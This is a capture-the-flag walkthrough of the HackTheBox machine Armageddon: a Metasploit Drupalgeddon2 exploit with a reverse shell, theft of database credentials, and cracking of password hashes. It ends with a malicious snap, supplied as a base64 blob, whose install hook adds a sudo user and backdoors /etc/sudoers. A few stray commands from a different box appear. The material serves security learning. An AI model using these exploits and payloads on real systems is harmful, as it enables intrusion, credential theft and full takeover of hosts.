Armageddon
Reconnaissance: NMAP
┌──(kali💀kali)-[~]
└─$ sudo nmap -sC -sV -O 10.10.10.233
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 82:c6:bb:c7:02:6a:93:bb:7c:cb:dd:9c:30:93:79:34 (RSA)
| 256 3a:ca:95:30:f3:12:d7:ca:45:05:bc:c7:f1:16:bb:fc (ECDSA)
|_ 256 7a:d4:b3:68:79:cf:62:8a:7d:5a:61:e7:06:0f:5f:33 (ED25519)
80/tcp open http Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
|_http-title: Welcome to Armageddon | Armageddon
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
|_http-generator: Drupal 7 (http://drupal.org)
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt
|_/LICENSE.txt /MAINTAINERS.txt
Aggressive OS guesses: Linux 3.18 (96%), Linux 3.2 - 4.9 (96%), Linux 3.16 (95%), ASUS RT-N56U WAP (Linux 3.4) (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), Oracle VM Server 3.4.2 (Linux 4.1) (93%), Linux 3.10 - 4.11 (93%), Linux 5.1 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 51.89 seconds┌──(kali💀kali)-[~]
└─$ sudo nmap -sU -O 10.10.10.233
All 1000 scanned ports on 10.10.10.233 are in ignored states.┌──(kali💀kali)-[~]
└─$ sudo nmap -sC -sV -p- 10.10.10.233 80/tcp open http
Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
Based on the Apache version, the host is likely running CentOS 7. The HTTP is hosting a Drupal 7 instance, and there’s a robots.txt file with a bunch of paths that I may want to check out in more detail.
http://10.10.10.233/
/robots.txt
/includes/
/misc/
/modules/
/profiles/
/scripts/
/themes/
/CHANGELOG.txt
/cron.php
/INSTALL.mysql.txt
/INSTALL.pgsql.txt
/INSTALL.sqlite.txt
/install.php
/INSTALL.txt
/LICENSE.txt
/MAINTAINERS.txtWAP: broswer CMS: Drupal 7 Web servers: Apache HTTP Server 2.4.6 Programming languages: PHP 5.4.16 Operating systems: CentOS JavaScript libraries: jQuery 1.4.4
SOURCE CODE: browser view-source:http://10.10.10.233/
HEADERS:
┌──(kali💀kali)-[~]
└─$ curl -i 10.10.10.233
HTTP/1.1 200 OK
Date: Thu, 25 Jan 2024 07:37:49 GMT
Server: Apache/2.4.6 (CentOS) PHP/5.4.16
X-Powered-By: PHP/5.4.16
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
X-Content-Type-Options: nosniff
Content-Language: en
X-Frame-Options: SAMEORIGIN
X-Generator: Drupal 7 (http://drupal.org)
Content-Length: 7440
Content-Type: text/html; charset=utf-8BURP: browser
DIR:
┌──(kali💀kali)-[~]
└─$ gobuster dir -u http://10.10.10.233 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 20 -x php,txt
/index.php (Status: 200) [Size: 7440]
/misc (Status: 301) [Size: 233] [--> http://10.10.10.233/misc/]
/themes (Status: 301) [Size: 235] [--> http://10.10.10.233/themes/]
/modules (Status: 301) [Size: 236] [--> http://10.10.10.233/modules/]
/scripts (Status: 301) [Size: 236] [--> http://10.10.10.233/scripts/]
/sites (Status: 301) [Size: 234] [--> http://10.10.10.233/sites/]
/includes (Status: 301) [Size: 237] [--> http://10.10.10.233/includes/]
/install.php (Status: 200) [Size: 3172]
/profiles (Status: 301) [Size: 237] [--> http://10.10.10.233/profiles/]
/update.php (Status: 403) [Size: 4057]
/README.txt (Status: 200) [Size: 5382]
/robots.txt (Status: 200) [Size: 2189]
/cron.php (Status: 403) [Size: 7388]
/INSTALL.txt (Status: 200) [Size: 17995]
/LICENSE.txt (Status: 200) [Size: 18092]
/CHANGELOG.txt (Status: 200) [Size: 111613]
/xmlrpc.php (Status: 200) [Size: 42]
/COPYRIGHT.txt (Status: 200) [Size: 1481]
/UPGRADE.txt (Status: 200) [Size: 10123]SCANNERS:
┌──(kali💀kali)-[~]
└─$ nikto -h http://10.10.10.233
+ Server: Apache/2.4.6 (CentOS) PHP/5.4.16
+ /: Retrieved x-powered-by header: PHP/5.4.16.
+ /: Drupal 7 was identified via the x-generator header. See: https://www.drupal.org/project/remove_http_headers
+ /NnLPPrMT.java: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ /scripts/: Directory indexing found.
+ /robots.txt: Entry '/MAINTAINERS.txt' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
+ /profiles/: Directory indexing found.
+ /robots.txt: Entry '/profiles/' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
+ /includes/: Directory indexing found.
+ /robots.txt: Entry '/includes/' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
+ /themes/: Directory indexing found.
+ /robots.txt: Entry '/themes/' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
+ /robots.txt: Entry '/LICENSE.txt' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
+ /robots.txt: Entry '/?q=user/register/' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
+ /modules/: Directory indexing found.
+ /robots.txt: Entry '/modules/' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
+ /robots.txt: Entry '/INSTALL.mysql.txt' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
+ /robots.txt: Entry '/?q=user/login/' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
+ /robots.txt: Entry '/INSTALL.sqlite.txt' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
+ /robots.txt: Entry '/xmlrpc.php' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
+ /robots.txt: Entry '/UPGRADE.txt' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
+ /robots.txt: Entry '/install.php' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
+ /robots.txt: Entry '/?q=user/password/' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
+ /robots.txt: Entry '/scripts/' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
+ /robots.txt: Entry '/INSTALL.pgsql.txt' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
+ /misc/: Directory indexing found.
+ /robots.txt: Entry '/misc/' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
+ /robots.txt: Entry '/?q=filter/tips/' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
+ /robots.txt: contains 68 entries which should be manually viewed. See: https://developer.mozilla.org/en-US/docs/Glossary/Robots.txt
+ PHP/5.4.16 appears to be outdated (current is at least 8.1.5), PHP 7.4.28 for the 7.4 branch.
+ Apache/2.4.6 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.
+ /: Web Server returns a valid response with junk HTTP methods which may cause false positives.
+ /: DEBUG HTTP verb may show server debugging information. See: https://docs.microsoft.com/en-us/visualstudio/debugger/how-to-enable-debugging-for-aspnet-applications?view=vs-2017
+ /: HTTP TRACE method is active which suggests the host is vulnerable to XST. See: https://owasp.org/www-community/attacks/Cross_Site_Tracing
+ PHP/5.4 - PHP 3/4/5 and 7.0 are End of Life products without support.
+ /web.config: ASP config file is accessible.
+ /?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings. See: OSVDB-12184
+ /?=PHPE9568F34-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings. See: OSVDB-12184
+ /?=PHPE9568F35-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings. See: OSVDB-12184
+ /includes/: This might be interesting.
+ /misc/: This might be interesting.
+ /icons/: Directory indexing found.
+ /UPGRADE.txt: Default file found.
+ /install.php: Drupal install.php file found. See: https://drupal.stackexchange.com/questions/269076/how-do-i-restrict-access-to-the-install-php-filehttps://drupal.stackexchange.com/questions/269076/how-do-i-restrict-access-to-the-install-php-file
+ /install.php: install.php file found.
+ /LICENSE.txt: License file found may identify site software.
+ /xmlrpc.php: xmlrpc.php was found.
+ /INSTALL.mysql.txt: Drupal installation file found. See: https://drupal.stackexchange.com/questions/269076/how-do-i-restrict-access-to-the-install-php-file
+ /INSTALL.pgsql.txt: Drupal installation file found. See: https://drupal.stackexchange.com/questions/269076/how-do-i-restrict-access-to-the-install-php-file
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ /sites/: Directory indexing found.
+ /.gitignore: .gitignore file found. It is possible to grasp the directory structure.
+ 9728 requests: 0 error(s) and 51 item(s) reported on remote host
+ End Time: 2024-01-25 03:50:54 (GMT-5) (4265 seconds)/etc/hosts:
┌──(kali💀kali)-[~]
└─$ sudo nano /etc/hosts SUBDOMAIN FUZZ:
┌──(kali💀kali)-[~]
└─$ wfuzz -u https://streamio.htb -H "Host: FUZZ.streamio.htb" -w /usr/share/seclists/SecLists-master/Discovery/DNS/subdomains-top1million-5000.txt --hh 315
┌──(kali💀kali)-[~]
└─$ wfuzz -u http://streamio.htb -H "Host: FUZZ.streamio.htb" -w /usr/share/seclists/SecLists-master/Discovery/DNS/subdomains-top1million-5000.txt --hh 703VHOSTS:
https://github.com/jobertabma/virtual-host-discovery
$ ruby scan.rb --ip=192.168.1.101 --host=domain.tld
Enum vhosts
$ fierce -dns example.com
Find Vhosts in non resolvable domains
https://github.com/dariusztytko/vhosts-sieve
$ python3 vhosts-sieve.py -d domains.txt -o vhosts.txtSQLMAP:
POST /?q=node&destination=node HTTP/1.1
Host: 10.10.10.233
Content-Length: 119
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://10.10.10.233
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://10.10.10.233/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: has_js=1
Connection: close
name=admin&pass=admin&form_build_id=form-2RfPVv1I66sfHqU-QpOhqFFhbQzOBFFCTskwwlMjnwM&form_id=user_login_block&op=Log+inI can try to create an account, but the process involves getting an email, which is typically not an option on HTB. I could try seeing if it will send to my IP, but the site throws errors that suggests it can’t send:
Version: In the Drupal GitHub, there’s a file at the root, CHANGELOG.txt. That file exists on Armageddon as well: https://github.com/drupal/drupal/tree/7.x
http://10.10.10.233/CHANGELOG.txt
┌──(kali💀kali)-[~]
└─$ curl -s 10.10.10.233/CHANGELOG.txt | head
Drupal 7.56, 2017-06-21
-----------------------
- Fixed security issues (access bypass). See SA-CORE-2017-003.
Drupal 7.55, 2017-06-07
-----------------------
- Fixed incompatibility with PHP versions 7.0.19 and 7.1.5 due to duplicate
DATE_RFC7231 definition.
- Made Drupal core pass all automated tests on PHP 7.1.Exploits: serachsploit shows a bunch of Drupal exploits (snipped out ones for non-7 versions):
┌──(kali💀kali)-[~]
└─$ searchsploit drupal 7
Drupal 10.1.2 - web-cache-poisoning-External-service-interacti | php/webapps/51723.txt
Drupal 4.1/4.2 - Cross-Site Scripting | php/webapps/22940.txt
Drupal 4.5.3 < 4.6.1 - Comments PHP Injection | php/webapps/1088.pl
Drupal 4.7 - 'Attachment mod_mime' Remote Command Execution | php/webapps/1821.php
Drupal 4.x - URL-Encoded Input HTML Injection | php/webapps/27020.txt
Drupal 5.2 - PHP Zend Hash ation Vector | php/webapps/4510.txt
Drupal 6.15 - Multiple Persistent Cross-Site Scripting Vulnera | php/webapps/11060.txt
Drupal 7.0 < 7.31 - 'Drupalgeddon' SQL Injection (Add Admin Us | php/webapps/34992.py
Drupal 7.0 < 7.31 - 'Drupalgeddon' SQL Injection (Admin Sessio | php/webapps/44355.php
Drupal 7.0 < 7.31 - 'Drupalgeddon' SQL Injection (PoC) (Reset | php/webapps/34984.py
Drupal 7.0 < 7.31 - 'Drupalgeddon' SQL Injection (PoC) (Reset | php/webapps/34993.php
Drupal 7.0 < 7.31 - 'Drupalgeddon' SQL Injection (Remote Code | php/webapps/35150.php
Drupal 7.12 - Multiple Vulnerabilities | php/webapps/18564.txt
Drupal 7.x Module Services - Remote Code Execution | php/webapps/41564.php
Drupal < 4.7.6 - Post Comments Remote Command Execution | php/webapps/3313.pl
Drupal < 5.1 - Post Comments Remote Command Execution | php/webapps/3312.pl
Drupal < 5.22/6.16 - Multiple Vulnerabilities | php/webapps/33706.txt
Drupal < 7.34 - Denial of Service | php/dos/35415.txt
Drupal < 7.58 - 'Drupalgeddon3' (Authenticated) Remote Code (M | php/webapps/44557.rb
Drupal < 7.58 - 'Drupalgeddon3' (Authenticated) Remote Code (M | php/webapps/44557.rb
Drupal < 7.58 - 'Drupalgeddon3' (Authenticated) Remote Code Ex | php/webapps/44542.txt
Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' | php/webapps/44449.rb
Drupal < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Co | php/remote/44482.rb
Drupal < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Co | php/remote/44482.rb
Drupal < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Co | php/webapps/44448.py
Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize( | php/remote/46510.rb
Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize( | php/remote/46510.rb
Drupal < 8.6.10 / < 8.5.11 - REST Module Remote Code Execution | php/webapps/46452.txt
Drupal < 8.6.9 - REST Module Remote Code Execution | php/webapps/46459.py
Drupal avatar_uploader v7.x-1.0-beta8 - Arbitrary File Disclos | php/webapps/44501.txt
Drupal avatar_uploader v7.x-1.0-beta8 - Cross Site Scripting ( | php/webapps/50841.txt
Drupal Module CKEditor < 4.1WYSIWYG (Drupal 6.x/7.x) - Persist | php/webapps/25493.txt
Drupal Module CODER 2.5 - Remote Command Execution (Metasploit | php/webapps/40149.rb
Drupal Module Coder < 7.x-1.3/7.x-2.6 - Remote Code Execution | php/remote/40144.php
Drupal Module Cumulus 5.x-1.1/6.x-1.4 - 'tagcloud' Cross-Site | php/webapps/35397.txt
Drupal Module Drag & Drop Gallery 6.x-1.5 - 'upload.php' Arbit | php/webapps/37453.php
Drupal Module Embedded Media Field/Media 6.x : Video Flotsam/M | php/webapps/35072.txt
Drupal Module RESTWS 7.x - PHP Remote Code Execution (Metasplo | php/remote/40130.rb
Drupal Module Sections - Cross-Site Scripting | php/webapps/10485.txt
Drupal Module Sections 5.x-1.2/6.x-1.2 - HTML Injection | php/webapps/33410.txtThere’s clearly a lot here. Drupalgeddon 2 and 3 both look like candidates.
Shell as apache
RCE - Drupalgeddon2 Given the number of exploits and the fact that the quality in searchsploit can be a bit all over the map, I went to Google, and found this repo. I’ll look at exactly what it’s doing in Beyond Root, but the repo itself works great. Running it provides a prompt:
DIDNT WORK:
┌──(kali💀kali)-[~/Desktop/Drupalgeddon2]
└─$ ./drupalgeddon2.rb http://10.10.10.233MSF:
msf6 > use exploit/unix/webapp/drupal_drupalgeddon2
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > options
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set LHOST 10.10.16.6
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set RHOSTS 10.10.10.233
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > run
[*] Started reverse TCP handler on 10.10.16.6:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable.
[*] Sending stage (39927 bytes) to 10.10.10.233
[*] Meterpreter session 1 opened (10.10.16.6:4444 -> 10.10.10.233:49314) at 2024-01-25 04:18:00 -0500
meterpreter > shell
Now let’s enumerate some good stuff:
I tried to do the shell upgrade, but it complains about being out of PTY devices:
python3 -c 'import pty;pty.spawn("bash")' Shell as brucetherealadmin
Enumeration: Typically I go look at /home to see what other users are on the box and where I might want to pivot next. Interestingly, I can’t see anything in /home:
Looking at /etc/passwd, there’s one other account of interest, brucetherealadmin:
cat /etc/passwd | grep sh
root:x:0:0:root:/root:/bin/bash
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
apache:x:48:48:Apache:/usr/share/httpd:/sbin/nologin
brucetherealadmin:x:1000:1000::/home/brucetherealadmin:/bin/bashDrupal Config: apache doesn’t have access to much, so back into the web directory. There’s a settings.php file in /var/www/html/sites/default. It’s got DB creds:
meterpreter > pwd
/var/www/html
meterpreter > cd sites
meterpreter > cd default
meterpreter > ls
Listing: /var/www/html/sites/default
====================================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100644/rw-r--r-- 26250 fil 2017-06-21 14:20:18 -0400 default.settings.php
040775/rwxrwxr-x 37 dir 2020-12-03 07:32:39 -0500 files
100444/r--r--r-- 26565 fil 2020-12-03 07:32:37 -0500 settings.php
meterpreter > cat settings.phpI found an interesting file called settings.php inside /var/www/html/sites/default/ directory. which has contain mysql creads:
$databases = array (
'default' =>
array (
'default' =>
array (
'database' => 'drupal',
'username' => 'drupaluser',
'password' => 'CQHEy@9M*m23gBVj',
'host' => 'localhost',
'port' => '',
'driver' => 'mysql',
'prefix' => '',
),
),
);Database: Because my shell is a not in a PTY, I’ll have to run DB commands from the command line. Drupal creates a bunch of tables:
It’s giving us error so let's try another command of mysql:
mysql -u drupaluser -pCQHEy@9M*m23gBVj -e 'show databases;'
Database
information_schema
drupal
mysql
performance_schemaIt’s work let’s fetch the tables inside drupal database:
mysql -u drupaluser -pCQHEy@9M*m23gBVj -D drupal -e 'show tables;'
Tables_in_drupal
actions
authmap
batch
block
block_custom
block_node_type
block_role
blocked_ips
cache
cache_block
cache_bootstrap
cache_field
cache_filter
cache_form
cache_image
cache_menu
cache_page
cache_path
comment
date_format_locale
date_format_type
date_formats
field_config
field_config_instance
field_data_body
field_data_comment_body
field_data_field_image
field_data_field_tags
field_revision_body
field_revision_comment_body
field_revision_field_image
field_revision_field_tags
file_managed
file_usage
filter
filter_format
flood
history
image_effects
image_styles
menu_custom
menu_links
menu_router
node
node_access
node_comment_statistics
node_revision
node_type
queue
rdf_mapping
registry
registry_file
role
role_permission
search_dataset
search_index
search_node_links
search_total
semaphore
sequences
sessions
shortcut_set
shortcut_set_users
system
taxonomy_index
taxonomy_term_data
taxonomy_term_hierarchy
taxonomy_vocabulary
url_alias
users
users_roles
variable
watchdogNow let’s dump the username and hashes inside users table:
mysql -u drupaluser -pCQHEy@9M*m23gBVj -D drupal -e 'select name,pass from users;'
name pass
brucetherealadmin $S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt
exodus $S$DunNRmGMjDQfthbl.Lirdy/32wUn.teymUP1Kgpfw6H3sMeemsqFHash Crack: Now we have the hashes let's try to crack it.
┌──(kali💀kali)-[~/Desktop]
└─$ john hash -w=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (Drupal7, $S$ [SHA512 128/128 SSE2 2x])
Cost 1 (iteration count) is 32768 for all loaded hashes
Will run 6 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
booboo (?)
1g 0:00:00:00 DONE (2024-01-25 05:34) 2.000g/s 480.0p/s 480.0c/s 480.0C/s courtney..chris
Use the "--show" option to display all of the cracked passwords reliably
Session completed. ┌──(kali💀kali)-[~/Desktop]
└─$ hashcat -m 7900 hash /usr/share/wordlists/rockyou.txt
$S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt:booboo
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 7900 (Drupal7)
Hash.Target......: $S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt
Time.Started.....: Thu Jan 25 05:35:51 2024 (2 secs)
Time.Estimated...: Thu Jan 25 05:35:53 2024 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 204 H/s (10.72ms) @ Accel:20 Loops:1024 Thr:1 Vec:2
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 240/14344385 (0.00%)
Rejected.........: 0/240 (0.00%)
Restore.Point....: 120/14344385 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:31744-32768
Candidate.Engine.: Device Generator
Candidates.#1....: america -> chris
Hardware.Mon.#1..: Util: 44%
Started: Thu Jan 25 05:34:53 2024
Stopped: Thu Jan 25 05:35:55 2024We got the password for brucetherealadmin:booboo
SSH: This password works for SSH access:
┌──(kali💀kali)-[~/Desktop]
└─$ ssh brucetherealadmin@10.10.10.233
booboo
[brucetherealadmin@armageddon ~]$ whoami
brucetherealadmin
[brucetherealadmin@armageddon ~]$ id
uid=1000(brucetherealadmin) gid=1000(brucetherealadmin) groups=1000(brucetherealadmin) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[brucetherealadmin@armageddon ~]$ cat user.txt
2ac2ae------------------------- Shell as root
Enumeration: brucetherealadmin can run snap installs as root:
[brucetherealadmin@armageddon ~]$ sudo -l
Matching Defaults entries for brucetherealadmin on armageddon:
!visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset,
env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL PS1 PS2 QTDIR
USERNAME LANG LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT
LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE",
env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin
User brucetherealadmin may run the following commands on armageddon:
(root) NOPASSWD: /usr/bin/snap install *Malicious Snap Package:
Googling for maliocus snap packages led me to an article from 2019 about Dirty Sock. This isn’t the vulnerability here, but they used a malicious snap package to exploit the Dirty Sock exploit
There’s a section in the Dirty Sock post that walks through how to create a snap package:
## Install necessary tools
sudo apt install snapcraft -y
## Make an empty directory to work with
cd /tmp
mkdir dirty_snap
cd dirty_snap
## Initialize the directory as a snap project
snapcraft init
## Set up the install hook
mkdir snap/hooks
touch snap/hooks/install
chmod a+x snap/hooks/install
## Write the script we want to execute as root
cat > snap/hooks/install << "EOF"
#!/bin/bash
useradd dirty_sock -m -p '$6$sWZcW1t25pfUdBuX$jWjEZQF2zFSfyGy9LbvG3vFzzHRjXfBYK0SOGfMD1sLyaS97AwnJUs7gDCY.fg19Ns3JwRdDhOcEmDpBVlF9m.' -s /bin/bash
usermod -aG sudo dirty_sock
echo "dirty_sock ALL=(ALL:ALL) ALL" >> /etc/sudoers
EOF
## Configure the snap yaml file
cat > snap/snapcraft.yaml << "EOF"
name: dirty-sock
version: '0.1'
summary: Empty snap, used for exploit
description: |
See https://github.com/initstring/dirty_sock
grade: devel
confinement: devmode
parts:
my-part:
plugin: nil
EOF
## Build the snap
snapcraftThis github python script doesn't work in this case so in this script we only need the base64 string and then we decode the base64 string and save it in file.
[brucetherealadmin@armageddon ~]$ cd /tmp
[brucetherealadmin@armageddon tmp]$ ls
dirty_snap
[brucetherealadmin@armageddon tmp]$ python2 -c 'print "aHNxcwcAAAAQIVZcAAACAAAAAAAEABEA0AIBAAQAAADgAAAAAAAAAI4DAAAAAAAAhgMAAAAAAAD//////////xICAAAAAAAAsAIAAAAAAAA+AwAAAAAAAHgDAAAAAAAAIyEvYmluL2Jhc2gKCnVzZXJhZGQgZGlydHlfc29jayAtbSAtcCAnJDYkc1daY1cxdDI1cGZVZEJ1WCRqV2pFWlFGMnpGU2Z5R3k5TGJ2RzN2Rnp6SFJqWGZCWUswU09HZk1EMXNMeWFTOTdBd25KVXM3Z0RDWS5mZzE5TnMzSndSZERoT2NFbURwQlZsRjltLicgLXMgL2Jpbi9iYXNoCnVzZXJtb2QgLWFHIHN1ZG8gZGlydHlfc29jawplY2hvICJkaXJ0eV9zb2NrICAgIEFMTD0oQUxMOkFMTCkgQUxMIiA+PiAvZXRjL3N1ZG9lcnMKbmFtZTogZGlydHktc29jawp2ZXJzaW9uOiAnMC4xJwpzdW1tYXJ5OiBFbXB0eSBzbmFwLCB1c2VkIGZvciBleHBsb2l0CmRlc2NyaXB0aW9uOiAnU2VlIGh0dHBzOi8vZ2l0aHViLmNvbS9pbml0c3RyaW5nL2RpcnR5X3NvY2sKCiAgJwphcmNoaXRlY3R1cmVzOgotIGFtZDY0CmNvbmZpbmVtZW50OiBkZXZtb2RlCmdyYWRlOiBkZXZlbAqcAP03elhaAAABaSLeNgPAZIACIQECAAAAADopyIngAP8AXF0ABIAerFoU8J/e5+qumvhFkbY5Pr4ba1mk4+lgZFHaUvoa1O5k6KmvF3FqfKH62aluxOVeNQ7Z00lddaUjrkpxz0ET/XVLOZmGVXmojv/IHq2fZcc/VQCcVtsco6gAw76gWAABeIACAAAAaCPLPz4wDYsCAAAAAAFZWowA/Td6WFoAAAFpIt42A8BTnQEhAQIAAAAAvhLn0OAAnABLXQAAan87Em73BrVRGmIBM8q2XR9JLRjNEyz6lNkCjEjKrZZFBdDja9cJJGw1F0vtkyjZecTuAfMJX82806GjaLtEv4x1DNYWJ5N5RQAAAEDvGfMAAWedAQAAAPtvjkc+MA2LAgAAAAABWVo4gIAAAAAAAAAAPAAAAAAAAAAAAAAAAAAAAFwAAAAAAAAAwAAAAAAAAACgAAAAAAAAAOAAAAAAAAAAPgMAAAAAAAAEgAAAAACAAw" + "A"*4256 + "=="' | base64 -d > dedsec.snap
[brucetherealadmin@armageddon tmp]$ ls
dedsec.snap dirty_snap
[brucetherealadmin@armageddon tmp]$ sudo /usr/bin/snap install --devmode dedsec.snap
dirty-sock 0.1 installed
[brucetherealadmin@armageddon tmp]$ su dirty_sock
Password:
[dirty_sock@armageddon tmp]$ sudo -i
We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:
#1) Respect the privacy of others.
#2) Think before you type.
#3) With great power comes great responsibility.
[sudo] password for dirty_sock:
[root@armageddon ~]# ls
anaconda-ks.cfg cleanup.sh passwd reset.sh root.txt snap
[root@armageddon ~]# cat root.txt
fc357811--------------------------Last updated